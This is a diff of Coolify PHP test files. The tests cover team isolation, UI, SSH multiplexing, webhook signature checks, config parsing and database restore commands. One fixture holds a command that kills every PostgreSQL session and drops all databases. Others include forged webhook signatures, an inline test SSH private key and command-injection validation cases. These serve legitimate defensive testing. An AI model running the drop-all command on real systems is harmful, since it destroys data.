Config::set('app.maintenance.store', 'array');
Config::set('queue.default', 'sync');
$settings = new InstanceSettings;
$settings->id = 0;
$settings->save();
Once::flush();
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::factory()->create([
'server_id' => $this->serverA->id,
'network' => 'team-a-network',
]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create([
'server_id' => $this->serverB->id,
'network' => 'team-b-network',
]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->otherService = Service::factory()->create([
'server_id' => $this->serverB->id,
'destination_id' => $this->destinationB->id,
'destination_type' => $this->destinationB->getMorphClass(),
'environment_id' => $this->environmentB->id,
]);
$this->otherServiceApplication = ServiceApplication::create([
'service_id' => $this->otherService->id,
'name' => 'other-app',
'image' => 'nginx:alpine',
]);
$this->otherServiceDatabase = ServiceDatabase::create([
'service_id' => $this->otherService->id,
'name' => 'other-db',
'image' => 'postgres:16-alpine',
'custom_type' => 'postgresql',
]);
$this->ownService = Service::factory()->create([
'server_id' => $this->serverA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
'environment_id' => $this->environmentA->id,
]);
$this->ownServiceDatabase = ServiceDatabase::create([
'service_id' => $this->ownService->id,
'name' => 'own-db',
'image' => 'postgres:16-alpine',
'custom_type' => 'postgresql',
]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('does not open service application detail route from another team', function () {
$this->withoutExceptionHandling();
$this->get(route('project.service.index', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $this->otherService->uuid,
'stack_service_uuid' => $this->otherServiceApplication->uuid,
]));
})->throws(NotFoundHttpException::class);
test('does not open service database backups route from another team', function () {
$this->withoutExceptionHandling();
$this->get(route('project.service.database.backups', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $this->otherService->uuid,
'stack_service_uuid' => $this->otherServiceDatabase->uuid,
]));
})->throws(NotFoundHttpException::class);
test('does not resolve service database import component from another team', function () {
$component = app(DatabaseImport::class);
$component->parameters = [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $this->otherService->uuid,
'stack_service_uuid' => $this->otherServiceDatabase->uuid,
];
$component->getContainers();
})->throws(ModelNotFoundException::class);
test('service heading does not hydrate with another team service', function () {
Livewire::test(Heading::class, ['service' => $this->otherService]);
})->throws(ModelNotFoundException::class);
test('owner can still hydrate service heading with own service', function () {
Livewire::test(Heading::class, [
'service' => $this->ownService,
'parameters' => [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $this->ownService->uuid,
],
])
->assertOk();
});
+44
View File
@@ -0,0 +1,44 @@
<?php
use App\Livewire\SettingsDropdown;
use App\Models\User;
use App\Services\ChangelogService;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Auth;
use Livewire\Livewire;
it('renders the changelog modal above the desktop sidebar toggle', function () {
$user = new User(['email' => 'test@example.com']);
$user->id = 1;
Auth::setUser($user);
app()->instance(ChangelogService::class, new class extends ChangelogService
{
public function getEntriesForUser(User $user): Collection
{
return collect([
(object) [
'tag_name' => 'v1.0.0',
'title' => 'Test Release',
'content' => 'Release notes',
'content_html' => '<p>Release notes</p>',
'published_at' => Carbon::parse('2026-05-01'),
'is_read' => false,
],
]);
}
public function getUnreadCountForUser(User $user): int
{
return 1;
}
});
Livewire::test(SettingsDropdown::class, ['trigger' => 'changelog-sidebar'])
->call('openWhatsNewModal')
->assertSee('Changelog')
->assertSee('z-[60]', false)
->assertSee('closeWhatsNewModal', false);
});
@@ -0,0 +1,64 @@
<?php
use App\Livewire\SettingsDropdown;
it('keeps changelog and the theme switcher in the sidebar without the old preferences trigger', function () {
$navbarView = file_get_contents(resource_path('views/components/navbar.blade.php'));
expect($navbarView)
->toContain('<livewire:settings-dropdown trigger="changelog-sidebar" />')
->not->toContain('<livewire:settings-dropdown />')
->toContain('aria-label="Theme switcher"')
->toContain('aria-label="Use light theme"')
->toContain('aria-label="Use system theme"')
->toContain('aria-label="Use dark theme"')
->toContain('cycleTheme()')
->toContain("const themes = ['light', 'system', 'dark'];")
->toContain('pl-2 pr-3 items-start gap-3')
->toContain('class="flex min-w-0 flex-1 flex-col"')
->toContain('class="min-w-0 flex-1"')
->toContain('class="flex h-8 w-full items-center justify-between');
});
it('keeps changelog and appearance options out of the preferences dropdown', function () {
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
expect($dropdownView)
->toContain("\$trigger === 'changelog-sidebar'")
->toContain('title="What\'s New"')
->toContain('aria-label="What\'s New"')
->toContain('wire:click="openWhatsNewModal"')
->toContain('class="relative text-left menu-item"')
->toContain('class="text-left menu-item-label"')
->toContain("What's New</span>")
->toContain('M9.813 15.904 9 18.75')
->not->toContain('<span>Changelog</span>')
->not->toContain('Appearance</div>')
->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"")
->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"")
->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\"");
});
it('opens and closes the changelog modal state', function () {
$component = new SettingsDropdown;
$component->trigger = 'changelog-sidebar';
expect($component->trigger)->toBe('changelog-sidebar')
->and($component->showWhatsNewModal)->toBeFalse();
$component->openWhatsNewModal();
expect($component->showWhatsNewModal)->toBeTrue();
$component->closeWhatsNewModal();
expect($component->showWhatsNewModal)->toBeFalse();
});
it('uses the default button palette for the changelog fetch action in light mode', function () {
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
expect($dropdownView)
->toContain('wire:click="manualFetchChangelog"')
->not->toContain('bg-coolgray-200 hover:bg-coolgray-300');
});
+129
View File
@@ -0,0 +1,129 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
/**
* SSH multiplexing now relies on OpenSSH's native lazy ControlMaster handling.
* Coolify should add mux options to real ssh/scp commands, but must not pre-warm
* background masters with separate `ssh -fN` processes.
*/
uses(RefreshDatabase::class);
function makeMuxServer(): Server
{
$user = User::factory()->create();
$team = $user->teams()->first();
$privateKeyContent = "-----BEGIN OPENSSH PRIVATE KEY-----\n".
"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\n".
"QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk\n".
"hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA\n".
"AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV\n".
"uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==\n".
'-----END OPENSSH PRIVATE KEY-----';
$privateKey = PrivateKey::create([
'name' => 'mux-test-key-'.uniqid(),
'private_key' => $privateKeyContent,
'team_id' => $team->id,
]);
Storage::fake('ssh-keys');
Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKeyContent);
return Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
}
it('does not prewarm a background ssh master', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake();
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
Process::assertNothingRan();
});
it('adds native openssh multiplexing options to ssh commands', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
Process::fake();
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok');
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600')
->not->toContain('-O check')
->not->toContain('ssh -fN');
Process::assertNothingRan();
});
it('can generate terminal ssh commands without a hard command timeout', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', commandTimeout: 0);
expect($command)
->toStartWith('ssh ')
->not->toStartWith('timeout ')
->not->toContain('timeout 3600 ssh');
});
it('omits native multiplexing options when ssh multiplexing is disabled for a command', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true);
expect($command)
->not->toContain('-o ControlMaster=auto')
->not->toContain('-o ControlPath=')
->not->toContain('-o ControlPersist=');
});
it('adds native openssh multiplexing options to scp commands', function () {
config(['constants.ssh.mux_enabled' => true]);
$server = makeMuxServer();
Process::fake();
$command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest');
expect($command)
->toContain('-o ControlMaster=auto')
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
->toContain('-o ControlPersist=3600')
->not->toContain('-O check')
->not->toContain('ssh -fN');
Process::assertNothingRan();
});
it('returns false and runs no process when multiplexing is globally disabled', function () {
config(['constants.ssh.mux_enabled' => false]);
$server = makeMuxServer();
Process::fake();
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeFalse();
Process::assertNothingRan();
});
+48
View File
@@ -0,0 +1,48 @@
<?php
use Illuminate\Support\Facades\Http;
function createSyncBunnyFailingBinary(string $binDir, string $name): void
{
file_put_contents("{$binDir}/{$name}", <<<'SH'
#!/bin/sh
printf '%s %s\n' "$(basename "$0")" "$*" >> "$SYNC_BUNNY_TEST_LOG"
exit 1
SH);
chmod("{$binDir}/{$name}", 0755);
}
it('syncs nightly versions to BunnyCDN without creating a GitHub PR', function () {
Http::fake([
'storage.bunnycdn.com/*' => Http::response([], 201),
'api.bunny.net/purge*' => Http::response([], 200),
]);
$binDir = sys_get_temp_dir().'/sync-bunny-bin-'.uniqid();
$logFile = sys_get_temp_dir().'/sync-bunny-'.uniqid().'.log';
mkdir($binDir, 0755, true);
createSyncBunnyFailingBinary($binDir, 'gh');
createSyncBunnyFailingBinary($binDir, 'git');
$originalPath = getenv('PATH') ?: '';
putenv("PATH={$binDir}:{$originalPath}");
putenv("SYNC_BUNNY_TEST_LOG={$logFile}");
try {
$this->artisan('sync:bunny --release --nightly')
->expectsConfirmation('Are you sure you want to proceed?', 'yes')
->expectsOutputToContain('BunnyCDN sync: ✓ Complete')
->doesntExpectOutputToContain('GitHub PR')
->assertExitCode(0);
} finally {
putenv("PATH={$originalPath}");
putenv('SYNC_BUNNY_TEST_LOG');
}
expect(file_exists($logFile))->toBeFalse();
Http::assertSent(fn ($request) => $request->url() === 'https://storage.bunnycdn.com/coolcdn/coolify-nightly/versions.json');
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://api.bunny.net/purge')
&& $request['url'] === 'https://cdn.coollabs.io/coolify-nightly/versions.json');
});
+32
View File
@@ -0,0 +1,32 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
uses(RefreshDatabase::class);
it('attaches the root user as owner when reusing an existing root team', function () {
Team::factory()->create(['id' => 0, 'name' => 'Existing Root Team']);
$rootUser = User::factory()->create(['id' => 0]);
expect($rootUser->teams()->whereKey(0)->first()?->pivot?->role)->toBe('owner');
});
it('promotes the root user to owner when the reused root team pivot already exists', function () {
Team::factory()->create(['id' => 0, 'name' => 'Existing Root Team']);
DB::table('team_user')->insert([
'team_id' => 0,
'user_id' => 0,
'role' => 'member',
'created_at' => now(),
'updated_at' => now(),
]);
$rootUser = User::factory()->create(['id' => 0]);
expect($rootUser->teams()->whereKey(0)->first()?->pivot?->role)->toBe('owner');
});
+267 -4
View File
@@ -51,7 +51,7 @@ describe('GitHub Manual Webhook HMAC', function () {
], $payload);
$response->assertOk();
expect($response->getContent())->toContain('Webhook secret not configured');
expect($response->getContent())->toContain('Invalid signature');
});
test('rejects push with forged hash', function () {
@@ -118,7 +118,7 @@ describe('GitLab Manual Webhook HMAC', function () {
]);
$response->assertOk();
expect($response->getContent())->toContain('Webhook secret not configured');
expect($response->getContent())->toContain('Invalid signature');
});
test('rejects push with wrong token', function () {
@@ -178,7 +178,7 @@ describe('Bitbucket Manual Webhook HMAC', function () {
], $payload);
$response->assertOk();
expect($response->getContent())->toContain('Webhook secret not configured');
expect($response->getContent())->toContain('Invalid signature');
});
test('rejects push with non-sha256 algorithm', function () {
@@ -263,7 +263,7 @@ describe('Gitea Manual Webhook HMAC', function () {
], $payload);
$response->assertOk();
expect($response->getContent())->toContain('Webhook secret not configured');
expect($response->getContent())->toContain('Invalid signature');
});
test('rejects push with forged hash', function () {
@@ -312,6 +312,269 @@ describe('Gitea Manual Webhook HMAC', function () {
});
});
describe('Manual Webhook Repository Matching', function () {
test('github rejects empty repository without leaking applications', function () {
$app = createApplicationWithWebhook(overrides: ['name' => 'secret-github-app']);
$payload = json_encode([
'ref' => 'refs/heads/main',
'repository' => ['full_name' => ''],
'after' => 'abc123',
'commits' => [],
]);
$response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
'HTTP_X-GitHub-Event' => 'push',
'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
'CONTENT_TYPE' => 'application/json',
], $payload);
$response->assertOk();
$content = $response->getContent();
expect($content)->toContain('Invalid repository')
->not->toContain('secret-github-app')
->not->toContain($app->uuid);
});
test('github does not match repository substrings', function () {
$app = createApplicationWithWebhook(overrides: ['name' => 'secret-github-app']);
$payload = json_encode([
'ref' => 'refs/heads/main',
'repository' => ['full_name' => 'test-org/test'],
'after' => 'abc123',
'commits' => [],
]);
$response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
'HTTP_X-GitHub-Event' => 'push',
'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
'CONTENT_TYPE' => 'application/json',
], $payload);
$response->assertOk();
$content = $response->getContent();
expect($content)->toContain('No applications found')
->not->toContain('secret-github-app')
->not->toContain($app->uuid);
});
test('github invalid signature does not leak matched application identifiers', function () {
$app = createApplicationWithWebhook(overrides: ['name' => 'secret-github-app']);
$payload = json_encode([
'ref' => 'refs/heads/main',
'repository' => ['full_name' => 'test-org/test-repo'],
'after' => 'abc123',
'commits' => [],
]);
$response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
'HTTP_X-GitHub-Event' => 'push',
'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
'CONTENT_TYPE' => 'application/json',
], $payload);
$response->assertOk();
$content = $response->getContent();
expect($content)->toContain('Invalid signature')
->not->toContain('secret-github-app')
->not->toContain($app->uuid)
->not->toContain('application_uuid')
->not->toContain('application_name');
});
test('manual webhooks reject empty repositories for every provider without leaking applications', function (string $provider, string $uri, array $payload, array $headers) {
$app = createApplicationWithWebhook(overrides: ['name' => "secret-{$provider}-app"]);
$body = json_encode($payload);
$server = ['CONTENT_TYPE' => 'application/json'];
foreach ($headers as $name => $value) {
$server[$name] = $value;
}
$response = $this->call('POST', $uri, [], [], [], $server, $body);
$response->assertOk();
$content = $response->getContent();
expect($content)->toContain('Invalid repository')
->not->toContain("secret-{$provider}-app")
->not->toContain($app->uuid);
})->with([
'gitlab' => [
'gitlab',
'/webhooks/source/gitlab/events/manual',
[
'object_kind' => 'push',
'ref' => 'refs/heads/main',
'project' => ['path_with_namespace' => ''],
'after' => 'abc123',
'commits' => [],
],
['HTTP_X-Gitlab-Token' => 'wrong-token'],
],
'bitbucket' => [
'bitbucket',
'/webhooks/source/bitbucket/events/manual',
[
'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
'repository' => ['full_name' => ''],
],
['HTTP_X-Event-Key' => 'repo:push', 'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue'],
],
'gitea' => [
'gitea',
'/webhooks/source/gitea/events/manual',
[
'ref' => 'refs/heads/main',
'repository' => ['full_name' => ''],
'after' => 'abc123',
'commits' => [],
],
['HTTP_X-Gitea-Event' => 'push', 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue'],
],
]);
test('manual webhooks do not match repository substrings for every provider', function (string $provider, string $uri, array $payload, array $headers) {
$app = createApplicationWithWebhook(overrides: ['name' => "secret-{$provider}-app"]);
$body = json_encode($payload);
$server = ['CONTENT_TYPE' => 'application/json'];
foreach ($headers as $name => $value) {
$server[$name] = $value;
}
$response = $this->call('POST', $uri, [], [], [], $server, $body);
$response->assertOk();
$content = $response->getContent();
expect($content)->toContain('No applications found')
->not->toContain("secret-{$provider}-app")
->not->toContain($app->uuid);
})->with([
'gitlab' => [
'gitlab',
'/webhooks/source/gitlab/events/manual',
[
'object_kind' => 'push',
'ref' => 'refs/heads/main',
'project' => ['path_with_namespace' => 'test-org/test'],
'after' => 'abc123',
'commits' => [],
],
['HTTP_X-Gitlab-Token' => 'wrong-token'],
],
'bitbucket' => [
'bitbucket',
'/webhooks/source/bitbucket/events/manual',
[
'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
'repository' => ['full_name' => 'test-org/test'],
],
['HTTP_X-Event-Key' => 'repo:push', 'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue'],
],
'gitea' => [
'gitea',
'/webhooks/source/gitea/events/manual',
[
'ref' => 'refs/heads/main',
'repository' => ['full_name' => 'test-org/test'],
'after' => 'abc123',
'commits' => [],
],
['HTTP_X-Gitea-Event' => 'push', 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue'],
],
]);
test('github matches ssh git repository URL exactly', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'git@github.com:test-org/test-repo.git',
]);
$secret = $app->manual_webhook_secret_github;
$payload = json_encode([
'ref' => 'refs/heads/main',
'repository' => ['full_name' => 'test-org/test-repo'],
'after' => 'abc123',
'commits' => [],
]);
$response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
'HTTP_X-GitHub-Event' => 'push',
'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, $secret),
'CONTENT_TYPE' => 'application/json',
], $payload);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
test('gitlab matches scp-style ssh repository URL with custom port', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'git@gitlab.example.com:2222/services/xyz.git',
'git_branch' => 'master',
]);
$secret = $app->manual_webhook_secret_gitlab;
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
'object_kind' => 'push',
'ref' => 'refs/heads/master',
'project' => ['path_with_namespace' => 'services/xyz'],
'after' => 'abc123',
'commits' => [],
], [
'X-Gitlab-Token' => $secret,
]);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
test('gitlab matches scp-style ssh repository URL without port', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'git@gitlab.example.com:services/xyz.git',
'git_branch' => 'master',
]);
$secret = $app->manual_webhook_secret_gitlab;
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
'object_kind' => 'push',
'ref' => 'refs/heads/master',
'project' => ['path_with_namespace' => 'services/xyz'],
'after' => 'abc123',
'commits' => [],
], [
'X-Gitlab-Token' => $secret,
]);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
test('github matches repository case-insensitively', function () {
$app = createApplicationWithWebhook(overrides: [
'git_repository' => 'https://github.com/Test-Org/Test-Repo.git',
]);
$secret = $app->manual_webhook_secret_github;
$payload = json_encode([
'ref' => 'refs/heads/main',
'repository' => ['full_name' => 'test-org/test-repo'],
'after' => 'abc123',
'commits' => [],
]);
$response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
'HTTP_X-GitHub-Event' => 'push',
'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, $secret),
'CONTENT_TYPE' => 'application/json',
], $payload);
$response->assertOk();
expect($response->getContent())->not->toContain('No applications found');
});
});
describe('Webhook Secret Auto-Generation', function () {
test('auto-generates webhook secrets on application creation', function () {
$app = createApplicationWithWebhook();
@@ -0,0 +1,64 @@
<?php
use Illuminate\Support\Env;
function databaseConfigWithEnvironment(array $overrides): array
{
$keys = [
'DB_HOST',
'DB_READ_HOST',
'DB_WRITE_HOST',
];
$repository = Env::getRepository();
$original = [];
foreach ($keys as $key) {
$original[$key] = env($key);
$repository->clear($key);
}
try {
foreach ($overrides as $key => $value) {
$repository->set($key, (string) $value);
}
return require __DIR__.'/../../config/database.php';
} finally {
foreach ($keys as $key) {
$repository->clear($key);
if ($original[$key] !== null) {
$repository->set($key, (string) $original[$key]);
}
}
}
}
it('trims and filters read hosts from comma separated values', function () {
$config = databaseConfigWithEnvironment([
'DB_READ_HOST' => ' read-1, read-2, ',
]);
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
});
it('falls back to db host when write host is empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => 'primary-db',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
});
it('falls back to the default host when write host and db host are empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => '',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
});
@@ -93,8 +93,8 @@ it('detects environment variable value changes without exposing secret values',
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBe('Changed')
->and($change['old_display_value'])->toBe('Set')
->and($change['new_display_value'])->toBe('Set')
->and($change['old_display_value'])->toBe('••••••••')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
});
@@ -117,7 +117,7 @@ it('describes added environment variables as set without exposing secret values'
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBeNull()
->and($change['old_display_value'])->toBe('Not set')
->and($change['new_display_value'])->toBe('Set')
->and($change['old_display_value'])->toBe('-')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
});
@@ -0,0 +1,23 @@
<?php
it('requires a mail driver before Docmost can start', function () {
$compose = file_get_contents(__DIR__.'/../../templates/compose/docmost.yaml');
expect($compose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
foreach (['service-templates.json', 'service-templates-latest.json'] as $templateFile) {
$templates = json_decode(
file_get_contents(__DIR__."/../../templates/{$templateFile}"),
associative: true,
flags: JSON_THROW_ON_ERROR,
);
$generatedCompose = base64_decode($templates['docmost']['compose'], strict: true);
expect($generatedCompose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
}
});
+25 -32
View File
@@ -1,16 +1,26 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
function importFormWithResource(string $modelClass): ImportForm
{
$component = new class extends ImportForm
{
public $resource;
};
$database = Mockery::mock($modelClass);
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
$component->resource = $database;
return $component;
}
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMysql');
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMariadb');
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
$component = importFormWithResource('App\Models\StandaloneMongodb');
$component->dumpAll = $dumpAll;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
expect($result)->toContain('--archive=/tmp/test.dump');
})->with([false, true]);
@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
